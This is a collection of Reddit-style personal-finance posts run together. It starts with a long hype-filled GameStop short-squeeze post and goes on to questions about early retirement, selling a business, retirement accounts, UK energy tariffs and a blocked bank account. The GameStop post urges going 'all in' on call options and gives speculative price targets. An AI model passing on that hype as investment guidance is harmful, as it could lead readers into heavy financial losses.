that we're just a bunch of people that just like the stock and want to respectfully and kindly talk about it and that think that DRS is a good thing. + +I really don't like how most of the sub has been hostility recently, like i said, be kind to one another, upvote good DD and valuable posts, and most importantly... + +# BUY, HOLD, DRS. +>[Oh and uh short burn of the century comin soon. Flamethrowers should arrive just in time.](https://twitter.com/elonmusk/status/992388944774938626) + +-Elon Musk + +Oh Elon, sorry to steal your thunder. But GME will make TSLA vol look like TLT. Jeff haunting your every accomplishment yet again. + +----- + +I’m back with the final warning bell. The next time I post in 2021 will be to recap the squeeze’s results and post gain porn along with u/Deep_Fucking_Value, u/SIR_JACK_A_LOT, u/Tomatotowers, and more. *This is the last stop before the moon mission.* + +It’s currently not too late. But after Q3 earnings on Dec 8th, it will be. And of course, as always, not financial advice. Just for bragging rights and entertainment. Here goes: + +Here’s a comprehensive GME overview for all new and returning WSB-monkeys. Sit down and grab some tea. This is a long one unlike the previous posts. + +**GME Overview:** + +The GME story can be broken up into 2 main theses. The first is a deep value play which has credibility all on its own. The second is an infinity short squeeze like we’ve never seen before in history, which has credibility all on its own. When combining the two, you get the trade of a lifetime. + +In all my (albeit limited) days, I have never EVER seen a trade set up like this before. I’ve pored over every source of historical finance material I can get my hands on, and still have nothing to reference to. IMO, this will look more like the 2008-MBS bet, or the Ackman 2020-COVID “Hell is coming” bet, than TSLA, OSTK, KBIO, or VW. + +Just a fucking face-ripping, out-of-nowhere, legendary-HOF-ticker bet that will bankrupt some funds and get people fired - and of course, with no community other than WSB’s name next to it in the history books (and if I could pencil in our lovely GME discord and u/RoaringKitty’s YT stream). + +Let’s begin. + +**Act 1 - The Set Up:** + +Q: Why is GME so heavily shorted in the first place? Why are we betting the long? Aren’t they going bankrupt ala Blockbuster? If not, are we just trading this short term like a HTZ/CCL meme stonk? + +A: NO. This is a fundamentally solid deep value play at its core. + +First let’s go back a few years. We must give the shorts due credit in order to understand where we are now. GME has been profitably shorted since 2013 when the market correctly bet on the digitization of video games and spread of mobile gaming. Some data here: + +* GME sales have plunged from $9.5 billion in fiscal year 2011 to $6.4 billion in fiscal year 2019. + +* GME Annual EBITDA has dropped from $839 million in fiscal year 2011 (before the last console cycle) to only $111 million in fiscal year 2019. + +* Net income has fallen off a cliff from $339 million in fiscal year 2011 to a staggering loss of $470 million in fiscal year 2019. + +* In the two most recent quarters alone, GME lost another $277 million. + +The shorts are betting on $0. + +However, in the last 12 months, GME has shown that their terminal velocity does not lead to bankruptcy. GME has a strong balance sheet. [Cash on hand is worth over $12 a share. Net cash is worth over $5 a share](https://seekingalpha.com/article/4378623-gamestop-revenue-sharing-agreement-microsoft-shifts-sentiment) and is FCF positive (nixing the bankruptcy thesis). They also paid off $125M in debt last month just to show Moody’s they are healthy due to their incoming console cycle FCF (which may lead to possible bond upgrade, enticing more institutional investors). + +So give the shorts credit. They had a legitimate case until the last 12 months, when George Sherman (CEO), Reggie Fils-Aime (ex-Nintendo, current GME board member), and others have been conducting a phenomenally well executed turnaround. + +That explains why we currently have ~70M shares short out of ~65M shares outstanding - but they’re all now caught on the wrong side of the trade. + +In case the severity of the short interest hasn’t hit you yet, **there is a bigger market for shorting GME than the business of GME itself.** This is not even taking into account the long holders ([Senvest, Ryan Cohen, Burry, Donald Foss, Sherman, Hestia/Permit](https://fintel.io/so/us/gme)) which takes ~25M shares out of circulation. So short interest in reality could be around 180%+ of true float. + +A true head-scratcher. + +And a worthy opponent. + +But they’re wrong. + +**Act 2 - Avengers, Assemble:** + +Q: Why am I so sure GME is prime to blow? Isn’t this just another meme stonk hunch driven by WSB and Michael Burry hype? How can a few online gamblers and a few activist investors turn a dying business into a trade of a lifetime? + +Couldn’t the shorts be right? Also, hasn’t it blown already? + +A: NO AGAIN. + +Let me show you the ridiculous Avengers team we have. By Avengers team, I mean all the bullish cases: + +**1) Ryan Cohen** + +Iron Man of the bunch, some call him the Dog-Man. + +This guy is a crazy entrepreneur. He took on Bezos with a pet food company (CHWY) and won. Let me repeat - he beat Jeff Amazon without AWS subsidizing his loss leaders. + +In other words, he built Markk I (CHWY) in a tiny cave with scraps all by himself with his dad, and now that he has billions, he wants to build nanotech Markk 50 (GME). Read up on this guy. He’s as crazy and as smart as they come. + +He also wrote a scathing [letter](https://s.wsj.net/public/resources/documents/RC_Ventures_Letter_to_GameStop.pdf) to GME leadership, but if you read between the lines, he’s not addressing the existing board, who had only been there temporarily. He’s setting this letter up in order to potentially offer a takeover bid (rumor mill - unconfirmed). + +Either way, GME leadership needs to address this letter in the Q3 earnings call on Dec 8th - which means they need to either post a good quarter, provide good guidance, or add color to existing developments. + +Otherwise George Sherman (Cpt America)’s ass is out the door and Cohen takes over as the leader of the Avengers through a vote or buyout. Either of which requires shares to be recalled. + +One more thing to note about RC. There has been no 13D/A filling since his initial purchases. Which means he is STILL IN. He has not sold a single share. + + +**2) GME Leadership and activist investors - Guardians of the Galaxy, Dr. Very Strange Burry, and the old Captain trying to fit in with the youngsters:** + + +Dr. Very Strange Burry - AKA Big Short Man. Supreme numbers aspie who might have a screw loose but is unmatched at spotting contrarian trades. *Edit 2: BTW for those asking about his holdings drop. He's trimming to stay under 5%, but still has a large position: + +- Q1: 3,000,000 shares worth $10,500,000 + +- Q2: 2,750,000 shares worth $11,935,000 + +- Q3: 1,703,400 shares worth $17,375,000 + + +Hestia/Permit/Senvest - Contrarian, activist investors. + + +Cpt George Sherman - Boomer CEO who knows what he’s doing. + + +Reggie Fils-Aime - Beloved ex-Nintendo President. + + +**3) Bond repurchase** + +GME just bought back [$125M](http://news.gamestop.com/node/18286/html) of debt maturing in 2021. Who cares? Yes - normally this is a nothing burger even for a micro-cap, but if the shorts are betting on $0 - this is clear evidence against that bet. + +Secondly, rumor mill has it that this debt repurchase plus positive Q3 earnings/guidance will allow Moody’s to upgrade their 2023 debt to A or maybe higher. + +This is HUGE because it allows institutional investors to long GME without further restrictions. In other words, they may not be allowed to long companies with B- debt. Once this is upgraded, more buyers are allowed to come in. + +Very underplayed story here. + + +**4) TA - When the stars and crayons align. Here’s an excerpt from our resident astrologist u/JayAreW:** + +> Ignoring the short squeeze element of GME and just looking at chart action, there are two elements that are important to keep track of. The cup and handle pattern and $15.80. + +> While my trading style is 90% technical analysis, there are certain elements which I shy away from – mainly chart patterns. However, it is important to at least recognize the obvious ones because if you see it, chances are others see it too. The main pattern I keep an eye out for are the massive cup and handle patterns. This is an example from Pring [figure 1](https://media.discordapp.net/attachments/778014693059067934/783103438112030760/cup_and_handle_pring_fig_1.PNG). + +> The buy signal is traditionally a breakout above the handle, and a good estimate for price target is the distance from the base of the cup to the handle, added to the breakout point. A recent example of this is $JMIA [(daily - figure 2)](https://media.discordapp.net/attachments/778014693059067934/783103467937988628/jmia_cup_and_handle_fig_2.PNG). Notice not one, but two failures to break the top of the handle and the subsequent parabolic run. +Compare $JMIA with $GME and you see almost the same pattern [(daily – figure 3)](https://media.discordapp.net/attachments/778014693059067934/783103497926082580/gme_cup_and_handle.PNG). The traditional buy signal would be a breach above the red line (~$15.80). The difference between $JMIA and $GME is that $JMIA was far more condensed; the pattern played out over a period of a few months where $GME’s cup and handle started in late 2019. Playing this pattern exclusively, I would expect a price target of roughly $27, stretched out over a period of weeks/months and not as explosive as it’s African counterpart (assuming a squeeze doesn't happen between now and then). Typically, any chart pattern calls for a retest of the breakout point, so don’t be surprised if $GME retraces to $15.80 and look for a bounce there as confirmation that the breakout is on. +The other important element is the $15.80 price. Not only is it the breakout point for the cup and handle pattern, but it coincides to a price point which I believe was a major short-selling entry point [(fig 4)](https://media.discordapp.net/attachments/778014693059067934/783103538602442812/GME_big_short.PNG). Notice the nearly 20% gap down on 33 million of volume. This type of action doesn’t just happen with selling alone and I believe massive short positions were opened on that day. + +> This $15.80 then represents a breaking even point for those shorts if they have not closed their positions (and we have no real reason to believe they have). Breaking even is a huge psychological barrier for people when a trade isn’t going their way and often times represents an exit point for crowded positions. Most of the shorts were already underwater - above $15.80 and that water begins to boil. I believe this position is becoming borderline untenable for existing short positions and is a crowded and disastrous trade. +So to recap, $15.80 not only serves as an important chart pattern breakout point, but the proverbial “line in the sand” for existing short positions. + +JeffAmazon here again: Note Jay and I don’t agree on a few major points, but are nevertheless both seeing bullish action to come very very soon. + + + +**5) Product Mix** + +GameStop is expanding their product mix to include monitors, PC parts, and [more](https://gamerant.com/gamestop-vizio-tvs/). GME is no longer a Disc-Drive only store (which is fine itself), but an all-things-tech e-commerce growth start up. Or you can at least bet that’s the narrative. + +GIVE ME THAT F-ING CHWY SALES MULTIPLE. + +**6) Three signs of a bubble: leverage, lack of liquidity, and consensus.** + +This is an inverse bubble - it will rise as quickly as other bubbles drop. KBIO and VW are often quoted as short squeeze examples. Those are wrong comparisons. The only similarity is the fact that shorts were involved. + +Instead, think of any other market bubble. It’s simply about leverage, lack of liquidity, and consensus. We have all 3 in GME. Everyone thinks GME will go like BlockBuster to $0 and is using leverage to short (by definition and current SI). + +So instead, think of Burry’s 2008 MBS trade, Ackman’s 2020 COVID trade, PTJ’s Black Monday Trade, or Chanos’ Enron trade. + +Same thing, different direction. Will go up as fast as the others went down. + +And oh boy do we lack liquidity. Crowded party, one exit. + + +**7) Phenomenal numbers due to current console cycle.** + +$GME bull Rod Alzmann [(Uberkikz on Stocktwits)](https://stocktwits.com/Uberkikz11) has great breakdowns on Q4 EPS/order count due to console cycle. He tracks orders by order number among a slew of other information [here](https://twitter.com/RodAlzmann). + +Check out his models. In short, we expect over $5 EPS in Q4 base case. Which is bananas. + + +**8) MSFT Partnership gross margin** + +GME is getting free money from Satya Nadella. + +[Conservative estimate $180M, 100% margin for 2 years](https://seekingalpha.com/article/4378623-gamestop-revenue-sharing-agreement-microsoft-shifts-sentiment). + + +**9) January and April option OI** + +OI in option calls for Jan and April are almost 4X that of Decembers. Is GME going to exercise the ITM calls for a squeeze? Why are they so insanely large? Who are these buyers? WTF are they doing? + +No clue. But something is about to go down. + +Note put call skew isn’t that low, so no infinity gamma squeeze yet, but it will come as GME obtains meme status. + + +**10) Most importantly, YOU.** + +CNBC and other misled, egoistic mass media companies and institutional investors continue, time and time again, to look down upon the new generation of traders and laugh at WSB. + +Tell me, which one of them has read all of Moody’s credit reports on GME? Which one of them live streams collaborative GME DD 20+ hours a week for 6+ months straight? Which one of them tracks order flows by the f-ing second based on skimmed CC data? Who scours r/GameStop to see how leadership is treating their employees and customers at a testimonial level? Do they even know about the bond repurchase? + +They don’t know jack s-. + + +**Act 3 - The Trade** + +What more evidence do you want? Time for action. + +First, the PT. u/ronoron summed it up well: + +> A 3 billion market cap (not even 0.5x of their revenues) would already leave GME at $46/share.Going back to their 2013 peak at around 6 billion market cap would leave them at almost $100/share already, not the $56 peak/share. The algos trading still can't appreciate the fact that GME halved its number of outstanding shares a while ago. + +> For comparison. Bestbuy is trading at almost ~0.7x of revenues with lower gross margins. Nordstrom is almost at 0.4x of revenues despite the bigger liability their department stores are having through corona (never mind their uglier balance sheet). GME is still hovering just above 0.2x revenues because stinky shorts overestimated how bad corona would be for GME (e.g. delayed console cycle, digital consoles becoming widely popular).” + +PT can easily be over $100. The JeffAmazon target is $420 which gives them about ~$25B market cap at a P/S ratio of 5, maybe 4 with console cycle revenue. That wouldn’t even be considered an euphoric price with today’s growth stocks. For comparison, NVDA is 22, TSLA is 20, and CHWY is 5. + +Timing: +This all hinges on Dec 8 earnings. If GME misses (it historically has), Cohen will use this opportunity to attack leadership and take over as CEO. Therefore, GME leadership needs to provide a great earnings report or else Sherman will lose his job. + +Here’s my responsible trade (do whatever you want): All in calls and shares now. If IV and $GME is sky-high before earnings, sell half to secure profit. If GME misses and tanks, bet your bottom dollar a takeover bid will be announced shortly. + +In all honesty, I'm going to probably hold everything through earnings WSB style. + +My positions: +1/15/21 $30Cs, shares + +(I would buy April $30Cs too, but I'm all tapped out of cash). + +Shorts and longs both have their cases. All the cards are on the table. Which side are you on? + +------- + +If I missed anything, comment and I will update above. I’m aiming to make this the final stop for all high-level GME DD. + +*Edit 1: Educate yourself right now on IV crush (in short, we expect a lot of vol now, so option prices are high. After earnings, expected vol normally decreases, so your option prices will normally drop). GME is the king of IV crush after earnings. If you're playing FDs, prepare to get destroyed like always. Safer bets are LEAPs or FDs after earnings. + +*Edit 2: All these beat earnings recently: SNE, MSFT, BBY, BBBY, NTDOY, ATVI, TTWO, JWN, M, KSS +Hi, +My electricity meter has been broken for 2 1/2 years. + +Backstory is that I switched to bulb about 3 years ago. They installed a smart meter for free - nice. A couple of months after installation it stops working (the main electricity meter, not tue hand held unit which was broken from day 1). I email Bulb and register the issue with them but nothing happens. +I then switch to Avro as they offer a better deal and after the switch is complete I tell them of the issue. They say they are going to look into it but nothing ever happens. I keep submitting my monthly meter readings which is the same number every month but nobodys interested. After a year I switch to Green and repeat as above. I tell them, they raise a case and nothing happens. Green has now gone bust and I have been transferred to shell. + +I have records of all the exchanges with bulb, Avro and green and I plan on telling shell as soon as my new account is live. +I'm secretly hoping for another year of free electricity but my question is if there's anything else I need to do? Could they ever feasilby Retro-Charge me, say apply an average monthly consumption for the last three years? + +Any thoughts or experiences from similar situations? +I'm in my mid-30's and doing OK, but not as well as I had hoped. + +I come from a very middle class background. I'm a partner at a consulting firm. Making around $400-500K per year. + +Net worth is approximately $4M excluding primary residence which is paid off. I spend approximately $100K/yr all-in with car payments, healthcare, food, housing related expenses, property tax, etc. + +No kids yet. + +My spouse works part time and makes an inconsequential amount of money (\~$20K) but gets health insurance fully paid by their employer. I view it as covering their expenses (which are very low). My spouse also does vlogging which is currently cashflow neutral, building a following, and working towards profitability. + +I've spent the past \~15 years honing my technical craft and have ascended to about as high as I can go in this field. + +I used to deal with smart people who knew the trade but more and more I'm finding myself interfacing with low-skill, low-intelligence people who are held in the same regard as me on projects and in meetings. I really could care less from an ego standpoint but what I do care about is that any work I do to improve my business is easily squandered by these people making bad decisions or their bureaucracy. Due to their ineptitude, everything is always a crisis or a blame game which results in me working 60 hours per week on average. I toiled away my 20's to the detriment of having much of a social life and it just hasn't gotten much better. + +Frankly, I'm in an industry that is a race to the bottom and I hear similar issues from my competitors. It's just a low-tech and bad field that I stumbled into in my late teens while in college and worked my way up in. + +I have grown to loathe my work and find myself fantasizing about selling my stake in the business every single day and moving onto something else. + +I know this wouldn't be a switch I just turn off. I need to put work into a transition. + +What steps have others taken in a similar position to transition to a new direction? Just looking for some anecdotal information to help guide and inspire. I don't want to just be home raising children when we have them. + +My fatFIRE goal was $7.5M to have a 4% withdrawal rate of $300K / yr. Right now my house is fine since I'm barely home and awake but I know if I left my current job I'd want more space for projects and eventual children, hence the higher fatFIRE target. +Hi everyone, + +Europe, 30ish, 1 kid + +I decided to sell my business. It's an online education company, with a revenue of 2-3 M and an ebitda of a little under 1M. + +The question is pretty simple: should I hire a M´&A company to handle the transaction? It's my first time selling a company and the stakes are huge for me. + +I had a first contact with one M&A company. The feeling with them is great. The cost for me would be 5% as a success fee . + +The valuation of the company would be between 6 and 10M. This number is based on the typical ratio for similar companies in Europe, which is between x8 Ebitda and x12. Those numbers are confirmed by the M&A company and by an extract of 300 similar transactions that I got (without them). + +What do you think? Is it a normal price ? Am I better off selling without them? + +Thanks!  + +PS: excuse my bad English, I'm a non-native speaker. +We are in IT ~ 50, with 2 kids below 10. We are in Seattle. Using a throw-away account. + +My target was 7.5M for a ~200k per year income (using www.FIRECalc.com ). I'm now at 9M, thanks to recent stock run in my Trading a/c + 401k. The Trading account is now all cash, taxes paid. My wife has her own 401k, substantial savings, 529 for kids, that I'm not counting. House, around 1M, is paid off. We’ve been spending between 100 and 120k last 6 years, including 25k+ a year for nannies. Instead we’d get health insurance. Current job has good work/life balance so I'd actually make the move only after Covid is under control - so, probably not this summer. + + +So, looks like I'm ready - anything I'm missing ? + +Well, there is one thing. Since I've got tired of the rain, I want to move to a warmer place. But because of kids, I want to move to a safe place with good public schools. I was also hoping to move to a place which has similar or lower home prices compared to Seattle area. I was earlier thinking about Texas, but I'm having second thoughts after the Jan 6th events. The ease with which the mob could overrun what I'd think of as one of the safest places on earth has shaken the feeling of "it can't happen here". Since we are Asian, I now think its better to move to a place that is relatively safe for POC. So, CA and Hawaii are on top of my list now. Florida seems risky because of frequent flooding / hurricanes. + +We still need a large house with multiple beds/baths etc. Are there places in California / Hawaii where the schools are good and the home prices not too high ? Searches aren't giving the results I'm looking for. + +One place I'm considering is Sacramento, but I'd prefer So Cal nearer to the ocean. Looks like I have to pay $1M more for the type of house I want in So Cal / Hawaii, I wonder whether I would need to postpone my FatFire. + +edit : Thanks for all the comments. I'll start looking at SoCal, Florida and Hawaii. Its also clear I've to up my budget to 2M for a decent house in SoCal/Hawaii. On reflection, I think, Sacramento/Austin might have been good places if I wanted to continue to work, but not on top of my list now. +So far I'm fairly happy with bank of america. With their highest tier account, we get around 2.6% cashback on our credit card for all purchases. We could in theory process 2mm+ worth of payments on it this year (this is separate to other large expenses that are paid via wire or direct deposit). + +However, I had to beg and plead for the 20k credit limit we have. Additionally, when I'm purchasing from some vendors (the biggest being our shipping label provider), my card gets shut down very frequently and I have to call in to re-activate. The 20k limit is the bigger problem though as I can't simply wait 1-2 days for the limit to refresh each time it gets maxed. Thus, over 70% of my purchases end up on the debit card instead. + +Anybody have experience with other banks? What about local credit unions, would they be willing to match/beat the 2.6% cashback on credit cards and increase my credit limit? + +I'd really hate to miss out on that 40k+ in savings from the cashback +Im sure this changes from person to person but what falls into that 20-25% income being saved? + +Is it purely the amount being saved in your 401k/ other retirement accounts? Is it your retirement accounts + HSA? Is it retirement accounts + HSA + Personal savings/checkings? Is it retirement accounts + HSA + savings/checkings + employee match? +Hey everyone, + +First I am very thankful that I have found a great job right after graduating from College in May. + +I have accepted an offer to work in Denver, CO with a base salary of 98K/Year. + +Current situation: +Living with family in WA +28K Student Loans +No Credit Card Debt + +I would really appreciate the help on the following or any additional tips. + +1. How to save money on taxes? +2. Should I buy a house, condo or rent first? +3. IRA, 401K Roth IRA? + +I am not sure what else to ask. Please let me know if you guys have anything else to share. + +I am really excited and want to plan my future finances after getting such an amazing opportunity. + +I appreciate your help and time :) +My checks run at about $450-$500 a week, rent is $700 a month so I'm saving $175 from each check for that. I usually spend about $100 on groceries a week, (sometimes more but no more than $150). Anything else I have trouble saving. And I wish I had someone I could trust with holding my money so I don't spend it.... Also, I basically pay $700 for a whole apartment in NYC but I don't use the living room and I have roommates but we have separate rooms. And I live about a 15-25 minute walk from my job. Anyone have any professional advice that could scare me into saving the hell out of my money.... I don't live with family, they live in another state, so they can't help at all. I'm also waiting on my tax returns so that could help give me a boost of confidence in saving but I'm scared.... I've been trying to trade cryptocurrencies and other currencies and such but I'm dumb on that too. I jumped into it with no knowledge at all. Anything helps. Thanks to anyone willing. +Question is exactly the title. This is the one *major* nuance I do not have an answer to in the everlasting debate of traditional 401K vs Roth 401K. On Roth, it seems pretty straightforward: contribution is taxed now, but nothing will be taxed once you eligibly withdraw. However, for traditional (pre-tax) the contribution is not taxed now, but will be taxed once you withdrawal. + +Concerning the latter (pre-tax) are the capital gains also taxed when you eligibly withdrawal? Or just the original contribution? If it’s everything, then it seems obvious that Roth is advantageous (considerably less $$ are taxed for Roth vs traditional). + +What am I missing here? Why does it seem that Roth is obviously the better choice (regardless of speculation re: future tax rates)? + +Please let me know if I am misguided. Appreciate your time and thought :) +22, 140k/year, living in the bay area. No debts, no loans. + +I have around 50k sitting in my savings account that I’m unsure how to best maximize in terms of short term investing, because my near future goal (<3 years) is to purchase a house. + +I intend to put 20% down, which in the bay area, I have estimated to be around 200k (likely more, so I expect to need to save up to ~250k). + +My question is: what do I do with that 50k? I have put 5k of it in VBIAX with the intention of leaving it in there for retirement. I know there’s high yield savings accounts out there; is that the way to go, and worth opening up more accounts? Or would it be worth it to invest in more stocks with the intention of selling within a few years (but not within 1 to avoid short term capital gains tax). + +If I keep my living expenses extremely low for the next few years, I can likely save up the rest by just hoarding my paycheck. But there’s gotta be a smarter way to save up a down payment, right? +There has been months since the BoE started raising rates. The savings rate on my Barclays is 0.1% per annum. + +Currently BoE rate is 1.75%. Does this mean that Barclays is stealing 1.65% from me? :) + +Wondering whether anyone had had their banks raise savings rates yet. +Long 23 shares purchased @206. + + + +https://www.google.com/amp/s/insideevs.com/news/351085/tesla-model-3-q2-delivery-potential-leaked/amp/ + + +"From: Elon Musk + +Date: Wed 5/22/2019 10:45 PM + +To: Everybody + +As of yesterday, we had over 50,000 net new orders for this quarter. Based on current trends, we have a good chance of exceeding the record 90,700 deliveries of Q4 last year and making this the highest deliveries/sales quarter in Tesla history! + +In order to achieve this, we need sustained output of 1,000 Model 3’s per day. Almost all parts of the Model 3 production system have exceeded 1000 units on multiple days (congratulations!!) and we’ve averaged about 900/day this week, so we’re only about 10% away from 7000/week. + +If we rally hard, we can do it! + + +EDIT: email has been confirmed by Reuters + +EDIT1: that Consumer Reports news byte about a bad Autopilot...it's misleading... + +https://insideevs.com/news/351110/consumer-reports-tesla-navigate-autopilot/amp/ + +"Consumer Reports doesn't seem too happy with all the misleading media coverage of its recent Tesla Navigate on Autopilot test findings..." + +"Fisher seems a bit appalled at the fact that the media turned the CR article into a Tesla hit piece, but we've grown accustomed to this anti-Tesla stance so it's not at all surprising to us." +I currently run a ltd company but due to circumstances outside my control I will have to close it this year. I will be able to get £400k out of the company after paying 10% entrepreneurs relief. I am currently unable to gain a wage from employment due to health issues. + +I own a house out right valued at £350k. I can rent two bedrooms out and achieve £900 a month in rental income. When you subtract voids and council tax this gives roughly £8k rental income a year. + +I am not really a people person but if needs must the rental income of £8k would be a good base to start off with but it would not be enough to live on comfortably. If I could achieve a yearly income of £20k I would be more than happy. + +Assuming I do not get a job that pays a wage how is it possible for me to top up my rental income to achieve my £20k yearly target wage with my £400k cash assets. From reading around investments are not an option as you have to leave the money tied up for 5 years at least. + +Is my only option to use my £400k to purchase property to rent out as that does give a yearly wage? This is something I want to avoid if possible due to the risk of someone trashing the property. At least as a live in landlord I can keep an eye on the lodgers so they do not trash the place. + +Many thanks for reading. + +Edit apologies for not mentioning that I am 35 years old. + +#update2 +Hey everyone + +I've received my funds back. + +I know maybe looking at this in a past context it may seem a overreaction. But there needs to be some way of a bank without branches to offer emergency contact with their customers. 1-2 day responses are okay for ecommerce, but for someone like me who had their access to money revoked with no explanation are absolutely wrong. + +I know there are regulations, but I wasn't told it was an investigation, I was told it was closed. + +I appreciate N26 sorting this without dragging their heels, but I would really recommend some contingency for Customers faced with what I have had to face + +#update + +I have been informed the funds will be transferred my other account. Spoke to the GM in person at the office in London and this should hopefully be resolved soon. + +# +Hi Guys. + +An update to my previous post. I tried contacting them this morning to check for updates and they have now blocked me from using the app. An email has come through confirming my "Smartphone has been unpaired" + +I have no way of speaking to anyone now. I still haven't received any response from them to what's happening to my funds. + +Financial Ombudsman are now involved, but currently have a high waiting time. My Solicitor has advised notifying them of intended legal action (High Court) + +I really can't believe I'm being treated like this by a regulated bank. I now have no option to but to fly to Berlin or visit their UK "Office" to even have a chance of getting my money back or speaking to someone. +50% owner in business. Other owner is non-active and leaving decision to me. My NW 4.2M excluding this business. + +Volatile and exhausting industry. Business operates 24/7, 365 days a year - as it’s grown it’s exhausted and worn me down with employees. Additionally, we live in a remote and cold area which is in the heart of operations, which is not a life I pictured for my small family. (Blessed in some ways, cursed in others) + +Given the type of industry - if we sold the business, it would generate the same amount of free cash flow (around $5M for me) as I could make in the next 3 years, assuming status quo no growth, obviously no guarantees though. (And there’s substantial asset value left on the table if sold too). It’s likely that selling would tie me into working a 3 year earn out, I often wonder if it’s even worth it to sell but I fear no exit too. + +But as my wife says - after 3 years it’s all to easy to get sucked into another 3 years and question - when is it enough, while sacrificing living in an isolated and cold community. + +I don’t want to get too far down the years and then regret I didn’t get out when I could and by then my family will be settled… or I had spent my younger years living in a freezing climate with very little other than work. Inversely, I also don’t want to kick myself later in life for walking away when the money was good and there was more expansion potential. + +Any advice from those thinking about selling or have sold their businesses? At what point do you know it’s time or leave? + +Any comments and ideas, very grateful. + +Thanks +>"However, housing market activity is likely to slow in the coming quarters, perhaps sharply, if the labour market weakens as most analysts expect, especially once the stamp duty holiday expires at the end of March," he warned. +> +>Mr Franks agreed. "After a strong first quarter of 2021, prices are likely to cool in the wake of the Stamp Duty deadline but could then start to increase again towards the end of the year," he said. + +Things are still unclear regarding house prices next year. No one knows but my guess is govt will work hard to keep prices stable. + +[Source](https://www.bbc.co.uk/news/business-55483432) +Goldman Sachs has been ordered to pay a $120 million civil penalty to settle charges that it often tried to manipulate a global dollar benchmark for interest rate products over a five-year period, the Commodity Futures Trading Commission said on Wednesday. +http://www.cnbc.com/2016/12/21/cftc-orders-goldman-sachs-to-pay-120-million-penalty-for-rate-manipulation.html +I know people are sick of GME but ya'll can go fuck yourselves. Regardless of what you think of the company's future, MOASS, the cult-like hopium echo chamber, etc when looking at the chart over the past year, it's really hard to deny that there has been some cyclical price movement. And guess what, we're in the process of making another run, as expected based on previous cycles. Some nice green dildos so far this week with Tuesday +13% and Wednesday +7.5% but have no fear, you haven't missed your chance to yolo in you fucking degens. + +Take a look at this very dumbed down chart: [https://i.imgur.com/5IHrw0g.png](https://i.imgur.com/5IHrw0g.png) + +All I'm trying to show here is the approximate 60-trading day cycle that we can track over the past year from peak to peak. It's important to note that the sneeze last January was not tied to any of these cycles. Based on the 60-day cycle, the current run will peak around 2/18, which is in line with a big OPEX clearing date. What happened around this time last year? how about the stock more than doubling over a 2 day period. If we can break the year-long trend and run into OPEX, a significantly larger move up is possible. + +While the stock is the lowest it's been in quite some time, it's primed for a big move thanks in part to the options chain. + +Here's some fun options activity from today: [https://i.imgur.com/5hkr52g.png](https://i.imgur.com/5hkr52g.png) + +Some pretty nice call buying pressure coming in. The put/call ratio has flipped to heavily favor calls, both in volume and premiums. + +Ortex Data: [https://i.redd.it/fmwok3vxitg81.png](https://i.redd.it/fmwok3vxitg81.png) + +Considering short positions are self-reported and I don't really trust Ortex data this all has to be taken with a giant fucking grain of salt but it's interesting to note that over the past month cost to borrow and utilization is the highest they've been since before last January with utilization reaching 100% today. There are some interesting theories as to why we're seeing this now but that's too complicated for me and not important to the point i'm trying to make. + +To show my level of weaponized autism, you can see my positions below. + +[https://i.imgur.com/mk5EArk.png](https://i.imgur.com/mk5EArk.png) + +Oh also, [https://i.redd.it/dkzcb7poux381.jpg](https://i.redd.it/dkzcb7poux381.jpg) + +The data i reference has bIeen pulled from various posts/DD of late and is not my original content. Considering my extremely low IQ, I'm not nearly capable of coming to these conclusions on my own. What's been particularly pleasing to my smooth brain is how multiple people have come to similar conclusions around these cycles, even when taking different approaches to get to the same end place. + +ok, now i'm ready for the gme hate... +Edit 3: Update from Martin: + +>Since the announcement, I have heard the discount that is being applied to the price-capped tariffs is likely to be applied to all tariffs, including fixes (the new 'price guarantee' will effectively work as a per pound discount off the unit rates of the pre-planned 1 October price cap rate). If this is correct, many fixes that currently look costlier than the price guarantee will end up cheaper. **Earlier, the information I was told by the Government was that "all can get out of a fixed tariff without exit penalties". This may have changed, so that it is left up to firms. I will confirm when I know, but be careful acting on any of this before it is cast iron.** + +So probably worth sitting tight for a few days and letting the dust settle before making any decisions about switching tariffs. + +**Original Post:** + +Good news for those worried they might lose out for having fixed at a higher rate than the newly announced £2500 "cap". (Obligatory public service announcement: This is a **unit** rate cap expressed badly as the yearly cost for a household that uses 12,000 kwh gas and 2,900 kwh electric. **If you use more you will pay more.**) + +[Source](https://www.moneysavingexpert.com/news/2022/09/energy-bills-price-freeze-cost-of-living-government-liz-truss-/) + +We won't know exact unit rates until more details are announced but [some estimates](https://www.linkedin.com/posts/auxilione_the-announcement-has-now-been-made-with-activity-6973600508632522752-9qGO) put the new cap in the ballpark of `9.5p/kwh` for gas and `37.5p/kwh` for electric. Disclaimer: this is some real back of the napkin stuff so these figures are for broad comparisons only. +If I want to sell a lot of covered calls should I be primarily investing in stocks that are under 20$? This way I can afford to own 100 shares of multiple stocks. Or am I better off creating synthetic covered calls on a wider range of stocks? +Apartment complex is using a new payment platform and is asking for my bank login credentials. Not account numbers or SS# but my actual login name and password. Is this normal or even legal? I've never had to provide that personal info before in the many apartments I've lived in. +[Article in french](https://www.20minutes.fr/societe/2611631-20190924-2020-cryptomonnaies-acceptees-trentaine-grandes-enseignes) 20minutes is one of the most read website in France + +Major brands in France will be accepting payments in Bitcoin (more cryptos will be accepted in time) as of next year. + +Decathlon, Sephora, Boulanger, Foot Locker, etc... will accept payment in Bitcoin through EasyWallet app. +A couple of days ago, this poster here on r/fire mentioned [that his new "cushy" job changed his perspective](https://www.reddit.com/r/financialindependence/comments/8vd6s0/new_cushy_job_no_longer_want_to_fire/) so much that he wasn't that interested in RE anymore. + +He switched from a soul-crushing job which he hated to something that was much more easy going (even though it paid less). + +It made me think about the following concept: + +**How much of our happiness do we sacrifice by working?** + +Before the switch, this poster sacrificed a lot of his happiness for his job, and he was completely miserable because of it. Reading from his post, no salary would be able to justify that huge sacrifice. So he switched. + +Now he has a job that's still slightly boring, but the happiness sacrifice is far less and it seems from his post that he's much happier since he made the switch. + +I have been VERY intrigued by this concept of happiness vs. work/salary. That's why I wanted to start a discussion here. + +I have opened Microsoft paint and created [this graph to help get the ball rolling](https://imgur.com/a/74gQ3sL). + +To use the same example as before, the old job of the previous reddit post was probably far above the linear line: Yes, it may have earned more, but (s)he was suffering every day because of that old job. His/her new job is in much better territory, despite paying less. (correct me if I'm wrong, u/ispace888 ! ;-)) + +I want to ask all of you to determine where your current job is located on this chart. And as a follow-up, I'd like to ask how strongly you are pursuing FIRE. I bet the people who are in the red area on this chart are trying to reach FIRE much quicker, and thus have a higher saving rate. + +**As for me:** + +I've been pretty happy at my work over the last 3.5 years. Being the engineer that I am, I have gone ahead and [analysed just how happy I am at work in this 